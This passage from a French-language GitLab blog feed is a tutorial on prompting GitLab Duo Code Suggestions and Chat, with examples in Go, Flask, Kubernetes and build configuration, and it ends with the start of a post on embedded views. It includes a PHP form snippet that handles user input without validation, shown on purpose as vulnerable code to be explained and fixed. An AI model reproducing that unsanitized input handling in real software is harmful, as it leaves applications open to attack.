<p><strong>Exercice asynchrone :</strong> refactorisez le code C en code Rust, en utilisant uniquement GitLab Duo. Commencez par sélectionner le code source, puis saisissez le prompt <code>/refactor into Rust</code> dans GitLab Duo Chat.</p>
<blockquote>
<p><strong>Astuce :</strong> des commentaires de code bien rédigés améliorent la lisibilité du code source. Ils facilitent l'intégration de nouveaux membres dans l'équipe, aident les ingénieurs de la fiabilité des sites à déboguer les incidents en production et guident les contributeurs open source dans leurs <a href="https://handbook.gitlab.com/handbook/marketing/developer-relations/contributor-success/community-contributors-workflows/#first-time-contributors">premières merge requests</a>.</p>
</blockquote>
<h3>Orienter la génération de code avec des commentaires explicites</h3>
<p>Le code source peut être structuré en plusieurs fichiers. Que vous conceviez une nouvelle architecture applicative ou refactorisiez un code existant, GitLab Duo vous aide à générer du code automatiquement.</p>
<p>Commencez par ajouter une section de commentaires en haut du fichier détaillant chaque étape. N'hésitez pas à diviser les commentaires les plus longs en plusieurs lignes, en reprenant les exemples de cet article. Ce modèle vous aide à réfléchir aux exigences du projet et à affiner vos prompts.</p>
<pre><code class="language-diff"># Generate a webserver, using the Flask framework. 
# Implement the / URL endpoint with example output.
+# Add an endpoint for Promtheus metrics

// Create a database backend. 
// Abstract data handlers and SQL queries into function calls.
+// Use PostgreSQL as default backend, and SQLite for developers as fallback.

/* 
Use multi-threaded data access here.
Create a shared locked resource, and focus on supporting Linux pthreads. 
+Abstract the thread creation/wait procedures into object-oriented classes and methods.
*/
</code></pre>
<p>Découvrez d'autres prompts de génération de code pour les <a href="https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html">langages de programmation pris en charge</a> dans la <a href="https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#code-generation-prompts">documentation présentant les cas d'utilisation de GitLab Duo</a>.</p>
<h3>Définir l'intention de la requête</h3>
<p>En fonction du Language Server de GitLab que vous utilisez dans votre IDE, les suggestions de code analysent l'intention de votre saisie et proposent des suggestions de complétion de code en ligne ou des blocs de code.</p>
<p>La technologie en arrière-plan s'appuie sur TreeSitter pour analyser le code dans un <a href="https://fr.wikipedia.org/wiki/Arbre_de_la_syntaxe_abstraite">arbre de syntaxe abstraite (AST)</a> et déterminer si la portée se trouve dans une section de commentaires de code (génération) ou dans du code source (complétion). Cette détection doit être exécutée rapidement sur l'IDE client et s'avère être un excellent cas d'utilisation pour <a href="https://webassembly.org/">WebAssembly</a>. Pour en savoir plus, consultez <a href="https://gitlab.com/groups/gitlab-org/-/epics/11568">cet epic</a> et la vidéo suivante, qui présente le Language Server de GitLab qui alimente les suggestions de code :</p>
<p>&lt;!-- blank line --&gt;
&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/VQlWz6GZhrs&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<h3>Structurer la requête comme une histoire</h3>
<p>La génération de code est un art. Formulez votre demande sous forme d'une histoire et GitLab Duo, alimenté par l'IA, pourra vous aider.</p>
<p>L'exemple suivant vise à implémenter un magasin clé-valeur en mémoire en Go, à la manière de Redis. Commencez par rédiger un commentaire descriptif, puis passez à la ligne suivante et appuyez sur <code>Entrée</code> pour déclencher les suggestions de code.</p>
<pre><code class="language-golang">// Create an in-memory key value store, similar to Redis 
// Provide methods to
// set/unset keys
// update values
// list/print with filters
</code></pre>
<p>Soyez explicite et précisez : quelles sont les méthodes nécessaires pour manipuler les données ? Demandez aux suggestions de code de générer des méthodes pour définir des clés, mettre à jour des valeurs et répertorier toutes les données stockées.</p>
<pre><code class="language-golang">// Create an in-memory key value store, similar to Redis 
// Provide methods to
// set/unset keys
// update values
// list/print with filters
</code></pre>
<p>Acceptez les suggestions à l'aide de la touche <code>Tab</code>. Ensuite, demandez aux suggestions de code de créer une fonction <code>main</code> accompagnée de code de test.</p>
<pre><code class="language-golang">// Create a main function and show how the code works
</code></pre>
<p>Si les données de test ne suffisent pas, affinez le code généré en vous concentrant sur les scénarios de test extrêmes.</p>
<blockquote>
<p><strong>Astuce :</strong> vous pouvez utiliser la même méthode pour affiner les <a href="https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#write-tests-in-the-ide">prompts et générer des tests avec GitLab Duo Chat</a> via <code>/tests focus on extreme test cases</code>.</p>
</blockquote>
<pre><code class="language-golang">// Add more random test data, focus on extreme test cases
</code></pre>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_kv_more_test_data.png" alt="Suggestions de code - plus de données de test clé-valeur Go"></p>
<p>L'exemple complet, y compris les dépendances corrigées, se trouve dans le <a href="https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts">projet gitlab-duo-prompts</a> dans le répertoire <code>code-suggestions/go/key-value-store</code>. Mettez à jour le fichier <code>main.go</code>, puis compilez et exécutez le code à l'aide de la commande suivante :</p>
<pre><code class="language-shell">go build
./key-value-store
</code></pre>
<p>Cette première itération consiste à créer un binaire autonome et à tester différentes stratégies de mise en œuvre pour les magasins clé-valeur. Validez le code fonctionnel et passez à l'étape suivante de votre parcours d'adoption de GitLab Duo.</p>
<blockquote>
<p><strong>Astuce :</strong> les nouveaux projets tirent parti de la génération de code, mais requièrent de la pratique et des techniques avancées pour exploiter efficacement les commentaires de code en tant que prompts. Cette approche peut aussi optimiser les workflows des développeurs expérimentés. Les études de faisabilité, l'intégration de nouvelles bibliothèques ou les itérations ne sont pas toujours compatibles avec le framework ou le projet existant. Les développeurs expérimentés optent alors pour créer des projets temporaires en isolant ou simplifiant la portée de certaines fonctionnalités, par exemple, pour tester une nouvelle couche backend de base de données en comparant ses performances à celles de l'environnement de production. Ou pour remplacer une bibliothèque présentant des failles de sécurité ou des problèmes de licence par une alternative plus sûre ou une fonctionnalité intégrée au code.</p>
</blockquote>
<h3>Accélérer les itérations avec la génération de code</h3>
<p>Comme le dirait un développeur expérimenté : « Il existe forcément déjà une bibliothèque clé-valeur en Go, alors inutile de réinventer la roue. » Heureusement, Go est un langage de programmation mature doté d'un écosystème riche. Des projets comme la collection awesome-go — par exemple <a href="https://github.com/avelino/awesome-go">avelino/awesome-go</a> — recensent de nombreuses bibliothèques d'exemples, ce qui facilite grandement la recherche de solutions existantes. Remarque : cette option n'est pas forcément applicable à tous les langages de programmation et doit être évaluée au cas par cas.</p>
<p>Vous pouvez également poser la question à GitLab Duo Chat : <code>Quelles bibliothèques Go utiliser pour un stockage clé-valeur ?</code>:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_chat_ask_golang_libs_kv.png" alt="GitLab Duo Chat - demande bibliothèques clé-valeur Golang"></p>
<p>Ensuite, affinez le prompt des suggestions de code pour utiliser spécifiquement les bibliothèques suggérées, par exemple BoltDB.</p>
<pre><code class="language-diff">// Create an in-memory key value store, similar to Redis 
// Provide methods to
// set/unset keys
// update values
// list/print with filters
+// Use BoltDB as external library
</code></pre>
<p>Répétez le schéma ci-dessus : générez les fonctions du code, demandez à GitLab Duo de créer une fonction « main » avec des données de test, puis compilez le code. La principale différence réside dans les bibliothèques externes, qui doivent d'abord faire l'objet d'un pull à l'aide de la commande <code>go get</code>.</p>
<pre><code class="language-shell">go get
go build
</code></pre>
<p>En cas d'échec de la compilation due à des dépendances manquantes, comme <code>fmt</code>, profitez-en pour vous entraîner à nouveau avec GitLab Duo : placez le curseur sur l'instruction <code>import</code> et attendez la suggestion ajoute les dépendances nécessaires. Vous pouvez ajouter un commentaire tel que <code>Import all libraries</code>.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_kv_external_lib_boltdb_fix_deps.png" alt="Suggestions de code - correction dépendances bibliothèque externe BoltDB clé-valeur Go"></p>
<p>Vous pouvez également enrichir les tests avec de nouvelles données afin de vérifier le comportement des fonctions : <code>// Add more random test data, focus on extreme test cases</code>. Dans l'exemple suivant, une clé vide provoque un arrêt brutal du programme.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_kv_external_lib_boltdb_test_extreme_cases_panic.png" alt="Suggestions de code - scénario de test d'arrêt brutal du programme bibliothèque externe BoltDB clé-valeur Golang"></p>
<p>Cet exemple est une excellente préparation pour les scénarios de test ultérieurs.</p>
<h3>Appliquer la génération de code à des cas concrets : observabilité cloud-native</h3>
<p>Imaginez une application cliente en Go, chargée de répertorier l'état des conteneurs, pods et services dans un cluster Kubernetes, comme la ligne de commande <code>kubectl get pods</code>. Le projet Kubernetes fournit des <a href="https://pkg.go.dev/k8s.io/client-go/kubernetes">bibliothèques Go</a> permettant d'interagir par programmation avec les API, les interfaces et les structures d'objets Kubernetes.</p>
<p>Ouvrez votre IDE et créez un nouveau projet Go.</p>
<blockquote>
<p><strong>Astuce :</strong> vous pouvez demander à GitLab Duo Chat de vous expliquer la procédure à suivre avec ce prompt : <code>How to start a Go project? Please show CLI command examples</code>.</p>
</blockquote>
<p>Commencez par rédiger un commentaire simple en haut du fichier <code>main.go</code> qui décrit l'objectif de l'application : observabilité dans Kubernetes.</p>
<pre><code class="language-golang">// Create a client for Kubernetes observability
</code></pre>
<p>Réfléchissez aux principales exigences : accéder à Kubernetes, définir un contexte et un espace de nommage, et inspecter l'état des ressources. En outre, demandez aux suggestions de code d'importer les paquets nécessaires et de créer un paquet « main » dans le fichier <code>main.go</code>.</p>
<p>Première itération :</p>
<pre><code class="language-golang">// Create a client for Kubernetes observability
// Inspect container, pod, service status and print an overview
</code></pre>
<p>Vous pourriez obtenir des résultats inattendus, comme le codage en dur des identifiants d'accès, des contextes manquants ou l'échec de la compilation.</p>
<p>Deuxième itération :</p>
<pre><code class="language-golang">// Create a client for Kubernetes observability
// Create a function that
// Read the kubernetes configuration file from the KUBECONFIG env var
// Inspect container, pod, service status and print an overview
</code></pre>
<p>L'absence de contextes ou d'espaces de nommage Kubernetes connus peut entraîner l'échec de la compilation ou des comportements inattendus.</p>
<p>Troisième itération :</p>
<pre><code class="language-golang">// Create a client for Kubernetes observability
// Create a function that
// Read the kubernetes configuration file from the KUBECONFIG env var
// Create kubernetes context, namespace default
// Inspect container, pod, service status and print an overview
</code></pre>
<p>Cet exemple code en dur le contexte Kubernetes et l'espace de nommage par défaut pour générer une base initiale. Les itérations ultérieures peuvent lire la valeur de l'espace de nommage à partir d'un paramètre de ligne de commande ou d'un fichier de configuration.</p>
<p>Le dernier exemple peut ressembler à ce qui suit. En plus de la fonctionnalité de l'application, il demande également aux suggestions de code d'importer toutes les dépendances et de générer le paquet <code>main</code> dans <code>main.go</code>.</p>
<pre><code class="language-golang">// Create a client for Kubernetes observability
// Create a function that
// Read the kubernetes configuration file from the KUBECONFIG env var
// Create kubernetes context, namespace default
// Inspect container, pod, service status and print an overview
// Import necessary packages
// Create main package
</code></pre>
<p>&lt;details&gt; Solution
&lt;summary&gt;</p>
<pre><code class="language-golang">package main

import (
	&quot;context&quot;
	&quot;fmt&quot;
	&quot;os&quot;

	&quot;k8s.io/client-go/kubernetes&quot;
	&quot;k8s.io/client-go/tools/clientcmd&quot;
	metav1 &quot;k8s.io/apimachinery/pkg/apis/meta/v1&quot;
)

func main() {
	kubeconfig := os.Getenv(&quot;KUBECONFIG&quot;)
	config, err := clientcmd.BuildConfigFromFlags(&quot;&quot;, kubeconfig)
	if err != nil {
		panic(err)
	}

	clientset, err := kubernetes.NewForConfig(config)
	if err != nil {
		panic(err)
	}

	pods, err := clientset.CoreV1().Pods(&quot;&quot;).List(context.TODO(), metav1.ListOptions{})
	if err != nil {
		panic(err)
	}
	fmt.Printf(&quot;There are %d pods in the cluster
&quot;, len(pods.Items))

	// Additional code to inspect services, containers, etc
}
</code></pre>
<p>&lt;/summary&gt;
&lt;/details&gt;</p>
<p>Exemple de données de sortie :</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_go_k8s_o11y_output.png" alt="Suggestions de code GitLab Duo - données de sortie observabilité scénario k8s Go"></p>
<p><strong>Exercice asynchrone :</strong> complétez le projet avec du code pour vérifier les services, les conteneurs, etc., puis exportez les résultats vers <a href="https://opentelemetry.io/">OpenTelemetry</a>.</p>
<blockquote>
<p><strong>Astuce :</strong> entraînez-vous avec les <a href="https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#code-generation-prompts">cas d'utilisation de GitLab Duo : utilisez les prompts de génération de code</a> dans la documentation ou envoyez des merge requests contenant vos propres prompts fonctionnels.</p>
</blockquote>
<p>Alors que nous enregistrions une courte démonstration vidéo illustrant la génération de code, une variante plus aboutie du code a été générée. N'hésitez pas à comparer les différences dans <a href="https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/commit/a1a46de9789d4791f04b4df9f1a35d05b8e67568">cette validation</a> et tirer parti des deux versions.</p>
<p>&lt;!-- blank line --&gt;
&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/ORpRqp-A9hQ&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<h2>Tirer parti de toutes les fonctionnalités de GitLab Duo</h2>
<h3>Combiner GitLab Duo Chat avec les suggestions de code</h3>
<p>Utilisées avec <a href="https://docs.gitlab.com/ee/user/gitlab_duo_chat/index.html">GitLab Duo Chat</a>, les suggestions de code deviennent encore plus efficaces. Le workflow suivant illustre l'efficacité de cette synergie entre IA et développement logiciel :</p>
<p>Écrivez et générez du code à l'aide des suggestions de code. Le code source sera ensuite vérifié par le biais de l'automatisation CI/CD, de tests de qualité du code et d'un scanning de sécurité. Mais qu'en est-il des connaissances du développeur ?</p>
<ol>
<li>
<p>Dans votre IDE, sélectionnez les portions de code générées et utilisez la <a href="https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide">commande slash <code>/explain</code></a> dans le prompt de GitLab Duo Chat. Vous pouvez même affiner le prompt en ajoutant <code>/explain with focus on algorithms</code> ou d'autres domaines utiles pour une explication centrée spécifiquement sur les problèmes de sécurité potentiels ou de performance, etc.</p>
<ul>
<li>Continuez à écrire et à maintenir votre code, mais gardez à l'esprit qu'à un certain stade, la qualité peut se dégrader et rendre la refactorisation plus complexe. Demandez de l'aide à GitLab Duo Chat.</li>
</ul>
</li>
<li>
<p>Dans votre IDE, sélectionnez le code source concerné et utilisez la <a href="https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#refactor-code-in-the-ide">commande slash <code>/refactor</code></a> dans le prompt de GitLab Duo Chat. Là encore, vous pouvez affiner le prompt pour cibler des design patterns spécifiques (fonctions, classes orientées objet, etc.), comme <code>/refactor into testable functions</code>._</p>
<ul>
<li>Après avoir rendu le code plus lisible, vous devez rédiger des tests. Quels sont les scénarios extrêmes ou les exemples de données aléatoires à utiliser pour les tests unitaires ? Ce type de recherche et la mise en œuvre dans différents frameworks peuvent prendre du temps.</li>
</ul>
</li>
<li>
<p>Dans votre IDE, sélectionnez le code source et utilisez la <a href="https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#write-tests-in-the-ide">commande slash <code>/tests</code></a> dans le prompt de GitLab Duo Chat. Vous pouvez affiner le prompt pour vous concentrer sur des frameworks de test, des scénarios, des méthodes fondées sur les données d'entrée spécifiques, etc.</p>
<ul>
<li>Une fois la qualité du code et la couverture des tests assurées, vous pouvez à nouveau vous concentrer sur l'optimisation de vos workflows DevSecOps avec les suggestions de code.</li>
</ul>
</li>
</ol>
<p>Découvrez d'autres scénarios dans la <a href="https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html">documentation présentant les cas d'utilisation de GitLab Duo</a>.</p>
<h3>Générer des configurations de compilation avec GitLab Duo Chat</h3>
<p>Les recherches nécessaires au démarrage d'un nouveau projet sont souvent fastidieuses. Entre les multiples approches possibles et les frameworks alternatifs, il est facile de se retrouver avec une charge de travail bien plus importante que prévue. Certains langages modernes comme Rust imposent une approche unifiée avec un seul outil (Cargo), tandis que d'autres comme Java ou C++ proposent plusieurs méthodes avec des langages de configuration supplémentaires comme Kotlin DSL ou CMake DSL, etc.</p>
<p>Avec GitLab Duo, demandez comment démarrer un projet, générez des configurations adaptées à vos outils de compilation (p. ex. <code>Please show a gradle.build example for Spring Boot</code>), et accélérez les premières étapes de développement, de compilation et de test du code source. Voici quelques exemples de prompts utiles :</p>
<ol>
<li>Java, Gradle, Spring Boot : <code>Please show a gradle.build example for Spring Boot</code></li>
<li>C++, CMake, clang : <code>Please show a basic CMake configuration file for C++17, using clang as compiler.</code></li>
<li>Python : <code>Please show how to initialize and configure a Python project on the CLI</code></li>
<li>Rust : <code>Please show how to initialize and configure a Rust project.</code>, suivi d'une question pour affiner le prompt telle que : <code>Explain the structure of Cargo.toml</code>.</li>
<li>Golang : <code>Please show how to initialize and configure a Go project</code>.</li>
</ol>
<h3>Demander des explications sur les vulnérabilités à GitLab Duo Chat</h3>
<p>Supposons qu'un code PHP a été généré pour créer un formulaire web. Il peut présenter des failles de sécurité potentielles.</p>
<pre><code class="language-php">&lt;?php 
// Create a feedback form for user name, email, and comments
// Render a HTML form

$name = $_POST['name'];
$email = $_POST['email'];
$comments = $_POST['comments'];

echo '&lt;form method=&quot;post&quot;&gt;';
echo '&lt;label for=&quot;name&quot;&gt;Name:&lt;/label&gt;';
echo '&lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot;&gt;';

echo '&lt;label for=&quot;email&quot;&gt;Email:&lt;/label&gt;';
echo '&lt;input type=&quot;email&quot; id=&quot;email&quot; name=&quot;email&quot;&gt;';

echo '&lt;label for=&quot;comments&quot;&gt;Comments:&lt;/label&gt;';
echo '&lt;textarea id=&quot;comments&quot; name=&quot;comments&quot;&gt;&lt;/textarea&gt;';

echo '&lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&gt;'; 
echo '&lt;/form&gt;';

?&gt;
</code></pre>
<p>Sélectionnez-le dans votre IDE, puis <a href="https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide">demandez à GitLab Duo Chat d'expliquer le problème</a>, en utilisant un prompt affiné tel que <code>/explain why this code is vulnerable to bad security actors</code></p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_chat_explain_potential_vulnerability.png" alt="Suggestions de code : GitLab Duo Chat explique la vulnérabilité potentielle"></p>
<blockquote>
<p><strong>Astuce</strong> : les vérifications et l'apprentissage s'effectuent dans l'environnement de développement local, ce qui permet d'identifier et de corriger les vulnérabilités en amont, avant même que le code ne fasse l'objet d'un push et qu'une merge request ne déclenche un scanning de sécurité capable d'identifier et de tracer les failles. Mieux comprendre les failles de sécurité contribue à améliorer l'expérience développeur.</p>
</blockquote>
<h3>Combiner la résolution des vulnérabilités avec les suggestions de code</h3>
<p>Prenons un nouvel exemple avec une <a href="https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/vulnerability-resolution/challenge-resolve-vulnerabilities">vulnérabilité simulée</a>, et voyons si les suggestions de code peuvent nous aider à la corriger efficacement. Le projet associé a été préconfiguré avec un test statique de sécurité des applications (SAST). Vous pouvez suivre ces étapes pour configurer le SAST GitLab à l'aide du <a href="https://gitlab.com/explore/catalog/components/sast">composant SAST CI/CD</a> du fichier de configuration CI/CD <code>.gitlab-ci.yml</code>.</p>
<pre><code class="language-yaml">include:
  # Security: SAST (for vulnerability resolution)
  - component: gitlab.com/components/sast/sast@1.1.0
</code></pre>
<p>Après avoir examiné le tableau de bord et les détails de la vulnérabilité, vous pouvez utiliser la fonctionnalité d'<a href="https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation">explication des vulnérabilités</a> pour mieux comprendre le contexte et les risques potentiels. La fonctionnalité de <a href="https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#vulnerability-resolution">résolution des vulnérabilités</a>, quant à elle, génère une merge request contenant une proposition de correction du code source pour la faille de sécurité détectée.</p>
<p>Parfois, il peut être nécessaire d'affiner le code suggéré. Accédez alors à la <a href="https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/vulnerability-resolution/challenge-resolve-vulnerabilities/-/merge_requests/1">MR générée</a>, puis copiez le chemin d'accès de la branche Git pour exécuter la commande git fetch en local, ou ouvrez directement le Web IDE à partir du bouton <code>Edit</code> pour continuer dans le navigateur. Accédez aux sections du code source contenant les correctifs et modifiez-les si besoin en ajoutant un commentaire :</p>
<pre><code>// refactor using safe buffers, null byte termination
</code></pre>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_with_vulnerability_resolution_proposal.png" alt="Suggestions de code de GitLab Duo - avec proposition de résolution des vulnérabilités"></p>
<p>Vous pouvez également ouvrir GitLab Duo Chat, sélectionner le code source et utiliser la commande slash <code>/refactor</code>.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1749677063/Blog/Content%20Images/duo_code_suggestions_with_vulnerability_resolution_add_duo_chat_refactor.png" alt="Suggestions de code de GitLab Duo - avec résolution des vulnérabilités en ajoutant la commande refactor de GitLab Chat Duo"></p>
<p>Découvrez un exemple complet dans la <a href="https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#explain-and-resolve-vulnerabilities">documentation présentant les cas d'utilisation de GitLab Duo</a>.</p>
<p>Voici un enregistrement de cet exemple :</p>
<p>&lt;!-- blank line --&gt;
&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/Ypwx4lFnHP0&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<h2>Conseils supplémentaires</h2>
<h3>Vérifier la qualité et la sécurité du code</h3>
<p>La génération accrue de code implique davantage d'efforts en matière de qualité, de tests et de sécurité. Profitez de toutes les fonctionnalités qu'offre une plateforme DevSecOps complète :</p>
<ol>
<li><a href="https://docs.gitlab.com/ee/ci/components/">Composants CI/CD</a> et <a href="https://docs.gitlab.com/ee/ci/pipelines/pipeline_efficiency.html">efficacité des pipelines</a></li>
<li><a href="https://docs.gitlab.com/ee/ci/testing/code_quality.html">Qualité du code</a></li>
<li><a href="https://docs.gitlab.com/ee/ci/testing/code_coverage.html">Couverture des tests</a></li>
<li><a href="https://docs.gitlab.com/ee/user/application_security/">Sécurité applicative</a></li>
<li><a href="https://docs.gitlab.com/ee/operations/tracing.html">Observabilité</a></li>
</ol>
<h3>Apprendre en équipe et comprendre l'impact de l'IA</h3>
<p>Organisez des sessions collaboratives ciblées pour tester et itérer et enregistrez-les afin que d'autres équipes puissent s'en inspirer par la suite. Vous pouvez également suivre la <a href="https://www.youtube.com/playlist?list=PL05JrBw4t0Kp5uj_JgQiSvHw1jQu0mSVZ">playlist GitLab Duo Coffee Chat sur YouTube</a>.</p>
<p>Découvrez les indicateurs d'impact de l'IA dans nos articles, notamment celui intitulé <a href="https://about.gitlab.com/the-source/ai/how-to-put-generative-ai-to-work-in-your-devsecops-environment/">Utiliser l'IA générative dans votre environnement DevSecOps</a> et <a href="https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/">GitLab Duo : mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact</a>. Consultez notre page dédiée au <a href="https://about.gitlab.com/fr-fr/ai-transparency-center/">Centre pour la transparence de l'IA</a> pour en savoir plus sur l'utilisation des données, la transparence et l'éthique de l'IA chez GitLab.</p>
<h3>Adopter une vision à long terme du développement</h3>
<p>Les suggestions de code peuvent parfois prendre plus de temps à charger que les fonctionnalités d'auto-complétion locales. Mettez à profit ce temps pour réfléchir à l'algorithme ou au problème que vous essayez de résoudre. Prendre un moment de recul permet de faire émerger des idées plus claires. Ou bien profitez-en pour savourer une gorgée de votre boisson préférée, puis reprenez le travail avec un regard neuf.</p>
<p>Certains algorithmes sont particulièrement complexes ou nécessitent des dépendances de code qui ne peuvent pas être résolues par auto-complétion. Le code propriétaire ou confidentiel offre souvent moins de contexte exploitable aux grands modèles de langage. Il peut donc être utile d'enrichir les commentaires pour améliorer la qualité des suggestions de code. Avancez à votre propre rythme et selon votre propre stratégie, et utilisez les suggestions de code là où elles apportent le plus de valeur, notamment pour générer des modèles standards ou des fonctions d'assistance.</p>
<blockquote>
<p><strong>Astuce :</strong> découvrez <a href="https://docs.gitlab.com/ee/user/project/repository/code_suggestions/repository_xray.html">Repository X-Ray</a> pour obtenir davantage de contexte sur les suggestions de code et tester des fonctionnalités expérimentales, par exemple, <a href="https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html#add-support-for-more-languages-for-code-suggestions-in-vs-code">la prise en charge élargie à d'autres langages dans VS Code</a>. Vous trouverez plus d'informations dans l'epic pour dédiée à l'<a href="https://gitlab.com/groups/gitlab-org/-/epics/13085">amélioration du taux d'acceptation des suggestions de code</a>.</p>
</blockquote>
<h3>Comment contribuer à GitLab Duo</h3>
<p>Utilisez GitLab Duo pour contribuer à des projets open source en tirant parti des suggestions de code, de la refactorisation du code, de la génération de tests et de la documentation automatisée avec des explications claires sur le fonctionnement du code.</p>
<p>Les clients de GitLab peuvent également <a href="https://docs.gitlab.com/ee/user/gitlab_duo/use_cases.html#use-gitlab-duo-to-contribute-to-gitlab">co-créer la plateforme GitLab à l'aide de GitLab Duo</a>. Suivez les directives récentes concernant les <a href="https://about.gitlab.com/community/contribute/dco-cla/#ai-generated-contributions">contributions générées par l'IA</a> et regardez cet exemple issu des sessions GitLab Duo Coffee Chat : Contribuer à GitLab à l'aide des suggestions de code et de GitLab Duo Chat :</p>
<p>&lt;!-- blank line --&gt;
&lt;figure class=&quot;video_container&quot;&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/TauP7soXj-E&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt;
&lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<h2>Comment partager vos retours</h2>
<p>GitLab Duo optimise les workflows de développement grâce à ses suggestions de code, mais une adoption efficace passe par des exercices concrets : tutoriels, ateliers en équipe et sessions de formation guidée. L'automatisation des workflows, l'amélioration de la qualité du code, l'ajout de scanning de sécurité et la mesure de l'observabilité permettent de relever les défis posés par l'introduction fréquente de nouveau code. Tirer pleinement parti de toutes les fonctionnalités de GitLab Duo, y compris GitLab Duo Chat, renforce considérablement l'expérience développeur sur la plateforme DevSecOps la plus complète alimentée par l'IA.</p>
<p>Pour bien commencer, suivez les bonnes pratiques de ce tutoriel, consultez la <a href="https://docs.gitlab.com/ee/user/gitlab_duo/index.html">documentation de GitLab Duo</a> et <a href="https://about.gitlab.com/fr-fr/solutions/gitlab-duo-pro/sales/">sollicitez nos équipes pour organiser des ateliers GitLab Duo dédiés à l'IA</a> (j'ai déjà assisté à des ateliers clients, et je vous les recommande vivement !). N'hésitez pas à partager vos retours sur les suggestions de code dans <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/435783">ce ticket</a>, en incluant des captures d'écran et des vidéos (si possible).</p>
<blockquote>
<p><a href="https://about.gitlab.com/fr-fr/gitlab-duo/">Inscrivez-vous à un essai gratuit de GitLab Duo dès aujourd'hui !</a></p>
</blockquote>
]]></content>
        <author>
            <name>Michael Friedrich</name>
            <uri>https://about.gitlab.com/blog/authors/michael-friedrich</uri>
        </author>
        <published>2025-09-10T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Vues intégrées : l'avenir du suivi des tâches dans GitLab]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/embedded-views-the-future-of-work-tracking-in-gitlab/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/embedded-views-the-future-of-work-tracking-in-gitlab/"/>
        <updated>2025-09-09T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Vous arrive-t-il de basculer entre plusieurs onglets dans GitLab simplement pour suivre ce qui se passe dans votre projet ? Peut-être consultez-vous un ticket, puis passez à une merge request, et enfin à un epic pour avoir une vue d'ensemble. Sans vous en rendre compte, votre navigateur déborde d'onglets et vous avez perdu le fil.</p>
<p>Si cette situation vous semble familière, vous n'êtes certainement pas seul. De nombreuses équipes perdent du temps et de l'énergie à naviguer entre différents éléments dans leur logiciel de gestion de projet, alors qu'elles essaient simplement de suivre leur travail.</p>
<p>C'est justement pour répondre à ce problème que nous avons créé les <a href="https://docs.gitlab.com/user/glql/#embedded-views">vues intégrées</a>, alimentées par <a href="https://docs.gitlab.com/user/glql/">GitLab Query Language (GLQL)</a>. <a href="https://about.gitlab.com/fr-fr/blog/gitlab-18-3-expanding-ai-orchestration-in-software-engineering/">Disponible dans la version 18.3</a>, cette fonctionnalité fournit un aperçu des informations pertinentes en temps réel là où vous travaillez déjà dans GitLab. Fini le changement de contexte permanent et les rapports obsolètes : vous disposez des informations dont vous avez besoin, au moment précis où vous en avez besoin.</p>
<h2>Pourquoi utiliser les vues intégrées ?</h2>
